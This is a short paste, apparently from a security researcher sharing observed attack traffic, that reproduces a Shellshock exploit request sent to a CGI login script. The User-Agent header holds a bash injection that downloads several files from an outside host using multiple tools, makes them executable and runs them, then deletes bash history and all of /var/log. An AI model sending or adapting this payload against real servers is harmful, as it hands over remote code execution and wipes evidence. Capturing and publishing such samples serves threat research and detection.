Shellshock ftp.ugotownedz.org

Shellshock
***********
GET /cgi-bin/login   HTTP/1.0
User-Agent: () { :;}; /bin/bash -c "wget ftp://ftp.ugotownedz.org/Xorg -O /tmp/Xorg;wget ftp://ftp.ugotownedz.org/Xorg -O /tmp/Xorg;curl -o /tmp/Xorg ftp://ftp.ugotownedz.org/Xorg;GET ftp://ftp.ugotownedz.org/Xorg;fetch ftp://ftp.ugotownedz.org/Xorg;lwp-download ftp://ftp.ugotownedz.org/Xorg;chmod +x /tmp/Xorg;chmod +x Xorg;perl /tmp/Xorg;rm -rf /tmp/Xorg*;rm -rf Xorg*;wget ftp://ftp.ugotownedz.org/upfile2.sh -O /tmp/upfile2.sh;wget ftp://ftp.ugotownedz.org/upfile2.sh -O /tmp/upfile2.sh;curl -o /tmp/upfile2.sh ftp://ftp.ugotownedz.org/upfile2.sh;GET ftp://ftp.ugotownedz.org/upfile2.sh;fetch ftp://ftp.ugotownedz.org/upfile2.sh;lwp-download ftp://ftp.ugotownedz.org/upfile2.sh;chmod +x /tmp/upfile2.sh;chmod +x upfile2.sh;sh /tmp/upfile2.sh ftp.ugotownedz.org ;rm -rf /tmp/upfile2.sh*;rm -rf upfile2.sh*;wget ftp://ftp.ugotownedz.org/decriss2 -O /tmp/decriss2;wget ftp://ftp.ugotownedz.org/decriss2 -O /tmp/decriss2;curl -o /tmp/decriss2 ftp://ftp.ugotownedz.org/decriss2;GET ftp://ftp.ugotownedz.org/decriss2;fetch ftp://ftp.ugotownedz.org/decriss2;lwp-download ftp://ftp.ugotownedz.org/decriss2;chmod +x /tmp/decriss2;chmod +x decriss2;sh /tmp/decriss2 ;wget ftp://ftp.ugotownedz.org/update -O /tmp/update; sh /tmp/update ; rm -rf /tmp/update; rm -rf /tmp/decriss2*;rm -rf decriss2*; rm -rf /root/.bash_history; rm -rf /var/log/*"
*******
More FROM @neonprimetime security

http://pastebin.com/u/Neonprimetime
https://www.virustotal.com/en/USER/neonprimetime/
https://twitter.com/neonprimetime
https://www.reddit.com/USER/neonprimetime